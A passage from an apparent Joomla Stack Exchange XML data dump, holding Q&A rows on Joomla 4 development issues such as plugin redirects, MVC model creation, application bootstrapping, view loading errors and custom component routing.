  <row Id="32421" PostTypeId="2" ParentId="32417" CreationDate="2022-09-25T22:43:33.427" Score="0" Body="&lt;p&gt;In the last line of your error message is there is an extra forward slash after the &lt;code&gt;http:&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$uri: &amp;quot;http:///home/ruralde1/example.com/iot2/data.php&amp;quot; } }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I would say that you need to investigate what creates that $uri string.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-09-25T22:43:33.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32422" PostTypeId="2" ParentId="12314" CreationDate="2022-09-26T06:22:11.247" Score="0" Body="&lt;p&gt;For the purpose of J4 versions, I thought this may be of assistance to others.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use \Joomla\CMS\HTML\HTMLHelper;&#xA;use \Joomla\CMS\Language\Text;&#xA;&#xA;echo HtmlHelper::date($date, Text::_('DATE_FORMAT_LC2'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2022-09-26T06:22:11.247" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32423" PostTypeId="2" ParentId="32419" CreationDate="2022-09-26T08:01:03.010" Score="2" Body="&lt;p&gt;You are right in that this should not be done in a layout override since it can be easily circumvented. But also you should not hack core classes. Instead use system plugins. The event used should be no later than &lt;code&gt;onAfterRoute&lt;/code&gt;. There are many different ways to do something like this using a plugin.&lt;/p&gt;&#xA;&lt;p&gt;The simplest way could be to perform a redirect during &lt;code&gt;onAfterRoute&lt;/code&gt; depending on input variables. For instance, to redirect all &lt;code&gt;com_users&lt;/code&gt; frontend component pages elsewhere:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgSystemExample extends CMSPlugin&#xA;{&#xA;    protected $app;&#xA;&#xA;    public function onAfterRoute()&#xA;    {&#xA;        if (!$this-&amp;gt;app-&amp;gt;isClient('site'))&#xA;        {&#xA;            return;&#xA;        }&#xA;    &#xA;        $input = $this-&amp;gt;app-&amp;gt;getInput();&#xA;&#xA;        if ($input-&amp;gt;get('option') === 'com_users')&#xA;        {&#xA;            $this-&amp;gt;app-&amp;gt;redirect(/** YOUR URL */);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can add additional conditions here to allow certain pages and tasks, such as user profile editing. Be aware, that if redirect URL was to end up redirecting back to &lt;code&gt;com_users&lt;/code&gt; (e.g. if it had restricted access level), you'd end up in an infinite loop.&lt;/p&gt;&#xA;&lt;p&gt;Another solution is to add custom routing rules. This should be done earlier, during &lt;code&gt;onAfterInitialise&lt;/code&gt; event. In this case custom build rules could be used to rewrite URLs of one component to another. Unfortunately, this method does not seem to allow changing the host or anything other than path and query variables. Which could be very useful in your case and in general. You can see an example in &lt;a href=&quot;https://joomla.stackexchange.com/a/32271/12652&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Third and most complex solution would be to override Users component MVC. This is detailed in &lt;a href=&quot;https://joomla.stackexchange.com/q/31922/12652&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-09-26T08:01:03.010" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32424" PostTypeId="2" ParentId="32408" CreationDate="2022-09-26T15:02:24.087" Score="0" Body="&lt;p&gt;The issue I had with custom fields not showing up was I had my content name incorrect in my helper file. The context has to match the view that you are applying custom fields to or they will never load.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2022-09-26T15:02:24.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32425" PostTypeId="1" CreationDate="2022-09-27T17:03:24.510" Score="3" ViewCount="309" Body="&lt;p&gt;Repo of component: &lt;a href=&quot;https://github.com/Joomla-Bible-Study/Proclaim&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Joomla-Bible-Study/Proclaim&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We have been converting our component to Joomla 4 standards and have run into a problem with it installed on some hosts, and non of the View will load. We can't figure out what makes the system not load on the site.&lt;/p&gt;&#xA;&lt;p&gt;Tested different versions of PHP&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;An error has occurred.&#xA;404 View not found [name, type, prefix]: CWMCpanel, html, Administrator&#xA;Call stack&#xA;#   Function    Location&#xA;1   ()  JROOT/libraries/src/MVC/Controller/BaseController.php:816&#xA;2   Joomla\CMS\MVC\Controller\BaseController-&amp;gt;getView() JROOT/libraries/src/MVC/Controller/BaseController.php:602&#xA;3   Joomla\CMS\MVC\Controller\BaseController-&amp;gt;display() JROOT/administrator/components/com_proclaim/src/Controller/DisplayController.php:50&#xA;4   CWM\Component\Proclaim\Administrator\Controller\DisplayController-&amp;gt;display()    JROOT/libraries/src/MVC/Controller/BaseController.php:672&#xA;5   Joomla\CMS\MVC\Controller\BaseController-&amp;gt;execute() JROOT/libraries/src/Dispatcher/ComponentDispatcher.php:143&#xA;6   Joomla\CMS\Dispatcher\ComponentDispatcher-&amp;gt;dispatch()   JROOT/libraries/src/Component/ComponentHelper.php:355&#xA;7   Joomla\CMS\Component\ComponentHelper::renderComponent() JROOT/libraries/src/Application/AdministratorApplication.php:143&#xA;8   Joomla\CMS\Application\AdministratorApplication-&amp;gt;dispatch() JROOT/libraries/src/Application/AdministratorApplication.php:186&#xA;9   Joomla\CMS\Application\AdministratorApplication-&amp;gt;doExecute()    JROOT/libraries/src/Application/CMSApplication.php:294&#xA;10  Joomla\CMS\Application\CMSApplication-&amp;gt;execute()    JROOT/administrator/includes/app.php:61&#xA;11  require_once()  JROOT/administrator/index.php:32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We have looked around other systems and don't see where we have gone wrong, so we could use some help finding the error in our ways. The system is in Alpha state, and we want to test on other hosts to verify things.&lt;/p&gt;&#xA;" OwnerUserId="16625" LastEditorUserId="12352" LastEditDate="2022-09-28T23:23:03.717" LastActivityDate="2022-09-28T23:23:03.717" Title="Joomla 4 Views will not load on some Hosts" Tags="|joomla-4|view|controller|namespace|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32426" PostTypeId="2" ParentId="32407" CreationDate="2022-09-27T20:36:13.493" Score="1" Body="&lt;p&gt;For this exact issue the solution was to avoid the things that are not working.&#xA;So instead of trying to get the variable from the module to the template in my php I created a html variable &amp;quot;--myvar&amp;quot; as a placeholder in my template and used:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo &amp;quot;:root { --myvar: {$variableITriedToGetAcross}; }&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and that proved to be effective because now it works fine but I had to compromise in some way.&#xA;The thing is the css is loaded after all the modules and templates so the template gets the value trough the css after loading.&lt;/p&gt;&#xA;" OwnerUserId="16372" LastActivityDate="2022-09-27T20:36:13.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32427" PostTypeId="2" ParentId="32425" CreationDate="2022-09-27T23:13:42.020" Score="3" Body="&lt;p&gt;HtmlView.php is case-sensitive. Also, all other files within the src folder for namespacing are case-sensitive.&lt;/p&gt;&#xA;&lt;p&gt;That is what was causing all the problems.&lt;/p&gt;&#xA;" OwnerUserId="16625" LastActivityDate="2022-09-27T23:13:42.020" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32429" PostTypeId="1" AcceptedAnswerId="32435" CreationDate="2022-09-29T12:05:28.180" Score="1" ViewCount="1234" Body="&lt;p&gt;I am trying to move from Joomla 3.10.11 to Joomla 4.2.2.&lt;/p&gt;&#xA;&lt;p&gt;I have some code on custom file which contain code to delete data from database.&lt;/p&gt;&#xA;&lt;p&gt;It was working well on Joomla 3, but on Joomla 4 it gives me an error.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication('administrator');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And it gives error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Failed to start application&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Mg4hq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mg4hq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;My custom file path is:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;mydomain.local/administrator/deleteRecord.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;My Code Example is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require_once(JPATH_BASE . DS . 'includes' . DS . 'defines.php');&#xA;require_once(JPATH_BASE . DS . 'includes' . DS . 'framework.php');&#xA;require_once(JPATH_BASE . DS . 'includes' . DS . 'app.php');&#xA;require_once(JPATH_BASE . DS . 'libraries' . DS . 'src' . DS . 'Factory.php');&#xA;/*&#xA;    &#xA;     Code For make changes in database data.&#xA;    &#xA;    */&#xA;$app = JFactory::getApplication(); /*It gives error on this line,and breaks further process.*/&#xA;if (isset($_REQUEST['pageId']) &amp;amp;&amp;amp; $_REQUEST['pageId'] == 1) {&#xA;    $app-&amp;gt;redirect(JRoute::_('index.php?option=com_course&amp;amp;view=marketinglists', false), JText::_('Datensatz streichen erfolgreich.'));&#xA;} else {&#xA;    $app-&amp;gt;redirect(JRoute::_('index.php?option=com_course&amp;amp;view=courselist&amp;amp;layout=edit&amp;amp;id=' . $id . ' ', false), JText::_('Datensatz streichen erfolgreich.'));&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16588" LastEditorUserId="12352" LastEditDate="2022-10-04T20:12:33.577" LastActivityDate="2022-10-04T22:19:22.410" Title="&quot;Failed to start application&quot; with JFactory::getApplication('administrator') after upgrading to J4.2.2" Tags="|joomla-4.x|controller|custom-action|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32430" PostTypeId="1" CreationDate="2022-09-29T14:47:16.907" Score="0" ViewCount="12" Body="&lt;p&gt;I am looking for assistance in creating a newsletter.&#xA;Tool that will create a newsletter&#xA;5-10 articles will generate in diff categories and sorts out based on category&#xA;Eventually we need a user interface so users can submit  articles in the system.&#xA;As well as update on its own in a timely manner.&lt;/p&gt;&#xA;" OwnerUserId="16632" LastActivityDate="2022-10-29T23:02:25.307" Title="Automate IIT Newsletter Creation" Tags="|articles|extensions|user|update|emails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32431" PostTypeId="1" CreationDate="2022-09-29T20:18:10.080" Score="0" ViewCount="458" Body="&lt;p&gt;I need to use two models in a view for my custom component in Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;I saw this &lt;a href=&quot;https://joomla.stackexchange.com/questions/189/how-can-i-use-a-model-of-other-component-in-my-component&quot;&gt;post&lt;/a&gt; for Joomla 3, but it seems that there isn't getInstance() in the base Models anymore.&lt;/p&gt;&#xA;&lt;p&gt;How I could do it ?&lt;/p&gt;&#xA;" OwnerUserId="14871" LastActivityDate="2024-02-22T02:03:30.407" Title="How can I use two models in my custom component view in Joomla4?" Tags="|joomla-4.x|view|model|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32432" PostTypeId="2" ParentId="32430" CreationDate="2022-09-29T22:38:01.923" Score="1" Body="&lt;p&gt;I would use the Acymail extension to do the things you require as that is the one I am most famliar with, however there are other very mature extension capable of doing what you need in the JED, &lt;a href=&quot;https://extensions.joomla.org/category/marketing/newsletter/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/category/marketing/newsletter/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-09-29T22:38:01.923" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32433" PostTypeId="2" ParentId="32431" CreationDate="2022-09-29T23:05:08.873" Score="0" Body="&lt;p&gt;Assuming that the second model that you want to use is in your extension then you can create an instance of the model with the following command. In the example &lt;code&gt;Articles&lt;/code&gt; is the name of the name model and will look for class ArticlesModel in your extensions /Model directory while the &lt;code&gt;Site&lt;/code&gt; designates where to find the model, eg. Administrator, Site or API.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model = $this-&amp;gt;getMVCFactory()&#xA;    -&amp;gt;createModel('Articles', 'Site', ['ignore_request' =&amp;gt; true]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The second param allows you to have single model in the backend of your component and use it in either the Front-end or API of your extension, rather than having to have duplicate models.&lt;/p&gt;&#xA;&lt;p&gt;If you want to access the Model of another extension then you have to first load or boot the other extension and then create an instance of the Model. This example would allow you to access the Articles model of com_content Front-end.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/** @var \Joomla\Component\Content\Administrator\Extension\ContentComponent $contentComponent */&#xA;$contentComponent = Factory::getApplication()-&amp;gt;bootComponent('com_content');&#xA;&#xA;/** @var \Joomla\Component\Content\Site\Model\ArticlesModel $model */&#xA;$model = $contentComponent-&amp;gt;getMVCFactory()&#xA;    -&amp;gt;createModel('Articles', 'Site', ['ignore_request' =&amp;gt; true]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-09-29T23:05:08.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32434" PostTypeId="1" AcceptedAnswerId="32447" CreationDate="2022-09-30T00:08:08.893" Score="2" ViewCount="110" Body="&lt;p&gt;I have a site I'm troubleshooting at the moment where articles won't save via the front end and return a 403 error when you either Save or Cancel editing.&lt;/p&gt;&#xA;&lt;p&gt;After whittling down potential causes, this morning I've gone and cut and pasted code in the article until it broke... which happened when it got to &lt;code&gt;&amp;lt;!-- container-fluid --&amp;gt;&lt;/code&gt; HTML comment. This is automatically inserted by JCE to indicate the end of a container, and HTML comments should usually be inoccuous.&lt;/p&gt;&#xA;&lt;p&gt;Removing the HTML comments resolves the issue temporarily, but then when I go to edit the page again, when it switches on in Editor view, the HTML comments are added in automatically again, and the 403 returns.&lt;/p&gt;&#xA;&lt;p&gt;Looking for thoughts on:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disabling the insertion of the html comments&lt;/li&gt;&#xA;&lt;li&gt;Adjusting the setting in Joomla that is causing 403 protection&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Site has Joomla 4.2.3, latest JCE, Admintools, SP Page Builder and more.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2022-10-03T19:21:53.057" Title="403 error front end editing when HTML comments are in the content" Tags="|joomla-4.x|editor|error-handling|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32435" PostTypeId="2" ParentId="32429" CreationDate="2022-09-30T01:17:52.700" Score="1" Body="&lt;p&gt;From the J4 potential backward compatibility page, &lt;a href=&quot;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_4&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Factory[edit]&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Factory::getApplication no longer takes arguments. These were misleading as it always returned the active application after the&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;first call in the bootstrap, whatever arguments were passed into the&#xA;function.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I think you should be able to use &lt;code&gt;$this-&amp;gt;app&lt;/code&gt; which returns the active application, however there is no context around your &lt;code&gt;$app = JFactory::getApplication('administrator');&lt;/code&gt; to know if that is exactly what you need in your extension.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively this answer has some useful replies that might be of use to you, &lt;a href=&quot;https://joomla.stackexchange.com/questions/31518/get-site-application-via-factorygetapplication-in-joomla-4&quot;&gt;Get site application via Factory::getApplication() in Joomla 4&lt;/a&gt; that you might adapt to for the Administrator application.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Updated 5th October....&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Looking at your example code, the Joomla 4 code that I see shared around on JSE and the Joomla Issue tracker that you probably should be using to set up your environment is this.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1);&#xA;define('JPATH_BASE', __DIR__ . '/../../..');&#xA;require JPATH_BASE . '/includes/defines.php';&#xA;require JPATH_BASE . '/includes/framework.php';&#xA;&#xA;// Boot the DI container.&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;&#xA;// Alias the session service key to the web session service.&#xA;$container-&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&#xA;// Get the application.&#xA;$app      = $container-&amp;gt;get(\Joomla\CMS\Application\AdministratorApplication::class);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The last line essentially creates the Administrator environment for you and from there I think your additional lines of code should work for you or at least move you onto your next issue.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2022-10-04T22:19:22.410" LastActivityDate="2022-10-04T22:19:22.410" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32436" PostTypeId="1" CreationDate="2022-09-30T15:19:57.507" Score="2" ViewCount="660" Body="&lt;p&gt;Context: I have a component that works fine in J3 and I want to migrate it to J4.&lt;/p&gt;&#xA;&lt;p&gt;Problem: When I create a menu (Joomla main menu) on the frontend view of the component, in J4 only, the URL is not SEF =&amp;gt; &lt;code&gt;http://mysite.com/alias-menu?view=view-name&lt;/code&gt; instead of &lt;code&gt;http://mysite.com/alias-menu&lt;/code&gt; (without parameter by default)&lt;/p&gt;&#xA;&lt;p&gt;The URL works if I manually remove the parameter, but I want for the main menu of Joomla to generate a link properly (SEF) without any parameter by default.&lt;/p&gt;&#xA;&lt;p&gt;Based on documentation and other Joomla components, I have added a Router.php, but no change and it is never called.&#xA;Here is the code of the router.php&lt;/p&gt;&#xA;&lt;p&gt;/com_componentname/src/Service/Router.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;namespace Componentname\Component\Componentname\Site\Service;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Component\Router\RouterViewConfiguration;&#xA;use Joomla\CMS\Component\Router\RouterView;&#xA;use Joomla\CMS\Component\Router\Rules\StandardRules;&#xA;use Joomla\CMS\Component\Router\Rules\MenuRules;&#xA;//use Joomla\CMS\Component\Router\Rules\NomenuRules;&#xA;use Componentname\Component\Componentname\Site\Service\ComponentnameNomenuRules as NomenuRules;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Categories\Categories;&#xA;use Joomla\CMS\Application\SiteApplication;&#xA;use Joomla\CMS\Categories\CategoryFactoryInterface;&#xA;use Joomla\CMS\Categories\CategoryInterface;&#xA;use Joomla\Database\DatabaseInterface;&#xA;use Joomla\CMS\Menu\AbstractMenu;&#xA;&#xA;class Router extends RouterView&#xA;{&#xA;    protected $noIDs = false;&#xA;&#xA;    private $categoryFactory;&#xA;    private $categoryCache = [];&#xA;    private $db;&#xA;&#xA;    public function __construct(SiteApplication $app, AbstractMenu $menu, CategoryFactoryInterface $categoryFactory, DatabaseInterface $db)&#xA;    {&#xA;        $params = Factory::getApplication()-&amp;gt;getParams('com_componentname');&#xA;        $this-&amp;gt;noIDs = (bool) $params-&amp;gt;get('sef_ids');&#xA;        $this-&amp;gt;categoryFactory = $categoryFactory;&#xA;        $this-&amp;gt;db = $db;&#xA;&#xA;        $viewname = new RouterViewConfiguration('viewname');&#xA;        $this-&amp;gt;registerView($viewname);&#xA;        &#xA;die('here router construct'); //--&amp;gt; never called&#xA;&#xA;        parent::__construct($app, $menu);&#xA;&#xA;        $this-&amp;gt;attachRule(new MenuRules($this));&#xA;        $this-&amp;gt;attachRule(new StandardRules($this));&#xA;        $this-&amp;gt;attachRule(new NomenuRules($this));&#xA;    }&#xA;&#xA;    /**&#xA;     * @param   array   A named array&#xA;     * @return  array&#xA;     */&#xA;    function ViewnameBuildRoute(&amp;amp;$query) {&#xA;&#xA;die('here router ViewnameBuildRoute'); //--&amp;gt; never called&#xA;&#xA;        $segments = array();&#xA;&#xA;        if (isset($query['task'])) {&#xA;            $segments[] = implode('/', explode('.', $query['task']));&#xA;            unset($query['task']);&#xA;        }&#xA;        if (isset($query['view'])) {&#xA;            $segments[] = $query['view'];&#xA;            unset($query['view']);&#xA;        }&#xA;        if (isset($query['id'])) {&#xA;            $segments[] = $query['id'];&#xA;            unset($query['id']);&#xA;        }&#xA;&#xA;        return $segments;&#xA;    }&#xA;&#xA;    &#xA;    function ViewnameParseRoute($segments) {&#xA;&#xA;die('here router ViewnameParseRoute'); //--&amp;gt; never called&#xA;&#xA;        $vars = array();&#xA;        // view is always the first element of the array&#xA;        $vars['view'] = array_shift($segments);&#xA;&#xA;        while(!empty($segments)) {&#xA;&#xA;            $segment = array_pop($segments);&#xA;            if (is_numeric($segment)) {&#xA;                $vars['id'] = $segment;&#xA;            } else {&#xA;                $vars['task'] = $vars['view'] . '.' . $segment;&#xA;            }&#xA;        }&#xA;&#xA;        return $vars;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;/com_componentname/src/Service/ComponentnameNomenuRules.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;namespace Componentname\Component\Componentname\Site\Service;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Component\Router\RouterView;&#xA;use Joomla\CMS\Component\Router\Rules\RulesInterface;&#xA;&#xA;/**&#xA; * Rule to process URLs without a menu item&#xA; *&#xA; * @since  3.4&#xA; */&#xA;class ComponentnameNomenuRules implements RulesInterface&#xA;{&#xA;&#xA;    protected $router;&#xA;&#xA;    public function __construct(RouterView $router)&#xA;    {&#xA;        $this-&amp;gt;router = $router;&#xA;    }&#xA;&#xA;    public function preprocess(&amp;amp;$query)&#xA;    {&#xA;        //$test = 'Test';&#xA;    }&#xA;&#xA;    /**&#xA;     * Parse a menu-less URL&#xA;     *&#xA;     * @param   array  &amp;amp;$segments  The URL segments to parse&#xA;     * @param   array  &amp;amp;$vars      The vars that result from the segments&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     * @since   3.4&#xA;     */&#xA;    public function parse(&amp;amp;$segments, &amp;amp;$vars)&#xA;    {&#xA;        &#xA;        $vars['view'] = 'viewname';&#xA;        $vars['id'] = substr($segments[0], strpos($segments[0], '-') + 1);&#xA;        array_shift($segments);&#xA;        array_shift($segments);&#xA;        return;&#xA;    }&#xA;&#xA;    &#xA;    public function build(&amp;amp;$query, &amp;amp;$segments)&#xA;    {&#xA;        &#xA;        if (!isset($query['view']) || (isset($query['view']) &amp;amp;&amp;amp; $query['view'] !== 'viewname') || isset($query['format']))&#xA;        {&#xA;            return;&#xA;        }&#xA;        $segments[] = $query['view'] . '-' . $query['id'];&#xA;        // the last part of the url may be missing&#xA;        if (isset($query['slug'])) {&#xA;            $segments[] = $query['slug'];&#xA;            unset($query['slug']);&#xA;        }&#xA;        unset($query['view']);&#xA;        unset($query['id']);&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;/administrator/components/com_componentname/services/provider.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Dispatcher\ComponentDispatcherFactoryInterface;&#xA;use Joomla\CMS\Extension\ComponentInterface;&#xA;use Joomla\CMS\Extension\MVCComponent;&#xA;use Joomla\CMS\Extension\Service\Provider\ComponentDispatcherFactory;&#xA;use Joomla\CMS\Extension\Service\Provider\MVCFactory;&#xA;use Joomla\CMS\MVC\Factory\MVCFactoryInterface;&#xA;use Joomla\DI\Container;&#xA;use Joomla\DI\ServiceProviderInterface;&#xA;use Joomla\CMS\Component\Router\RouterFactoryInterface;&#xA;use Joomla\CMS\Extension\Service\Provider\RouterFactory;&#xA;&#xA;return new class implements ServiceProviderInterface&#xA;{&#xA;&#xA;    public function register(Container $container)&#xA;    {&#xA;&#xA;        $container-&amp;gt;registerServiceProvider(new MVCFactory('\\Componentname\\Component\\Componentname'));&#xA;        $container-&amp;gt;registerServiceProvider(new ComponentDispatcherFactory('\\Componentname\\Component\\Componentname'));&#xA;        $container-&amp;gt;registerServiceProvider(new RouterFactory('\\Componentname\\Component\\Componentname'));&#xA;&#xA;        $container-&amp;gt;set(&#xA;            ComponentInterface::class,&#xA;            function (Container $container)&#xA;            {&#xA;                $component = new MVCComponent($container-&amp;gt;get(ComponentDispatcherFactoryInterface::class));&#xA;&#xA;                $component-&amp;gt;setMVCFactory($container-&amp;gt;get(MVCFactoryInterface::class));&#xA;                //tried to register Router but Internal error 500&#xA;                //$component-&amp;gt;setRouterFactory($container-&amp;gt;get(RouterFactoryInterface::class));&#xA;&#xA;                return $component;&#xA;            }&#xA;        );&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have an error 500 if I uncomment line &amp;quot;$component-&amp;gt;setRouterFactory($container-&amp;gt;get(RouterFactoryInterface::class));&amp;quot; in provider.php above.&#xA;Appache error : Fatal error: Maximum execution time of 30+2 seconds exceeded (terminated) in /website/administrator/components/my_component/services/provider.php on line 35&lt;/p&gt;&#xA;&lt;p&gt;In general terms, what triggers the router to call ? I guess that is just the call of component view.&#xA;There is a difference bewteen the Router.php in J3 and J4, except the location of file into the component structure folder?&lt;/p&gt;&#xA;&lt;p&gt;I think that there is some logic that I missed on this specific operation in J4.&lt;/p&gt;&#xA;&lt;p&gt;For information, result of my research:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/32380/remove-components-view-name-from-url-joomla-4&quot;&gt;Remove component&amp;#39;s view name from url joomla 4&lt;/a&gt; (J4)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/18108683/jooma-custom-component-router-php-not-being-called&quot;&gt;https://stackoverflow.com/questions/18108683/jooma-custom-component-router-php-not-being-called&lt;/a&gt; (J3)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/19280/supporting-sef-urls-in-custom-component&quot;&gt;Supporting SEF URLs in custom component&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=816&amp;amp;t=992747&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?f=816&amp;amp;t=992747&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Part_1:_The_Site_code&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Part_1:_The_Site_code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/URLs_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/URLs_in_Joomla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16634" LastEditorUserId="16634" LastEditDate="2022-10-04T15:42:46.583" LastActivityDate="2022-10-10T07:01:12.733" Title="J4 component URL not SEF" Tags="|custom-component|joomla-4.x|url|sef|router|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32437" PostTypeId="1" AcceptedAnswerId="32439" CreationDate="2022-09-30T15:28:25.677" Score="1" ViewCount="90" Body="&lt;p&gt;Creating a Toolbarbutton which needs a selected list item for dropdown:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$childBar-&amp;gt;standardButton('delete')-&amp;gt;icon('icon-arrow-right')-&amp;gt;text('delete')-&amp;gt;task('delete')-&amp;gt;listCheck(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or a simple button:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$bar = Toolbar::getInstance('toolbar');&#xA;$bar-&amp;gt;appendButton('Standard', 'delete', 'delete', 'remove', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there a way to do the same for a modal button like this, that also only get activated with a selected list item, so it also gets the &lt;code&gt;list-selection&lt;/code&gt; class?.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ToolbarHelper::modal('myModal', 'icon-pie', 'myModal');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" 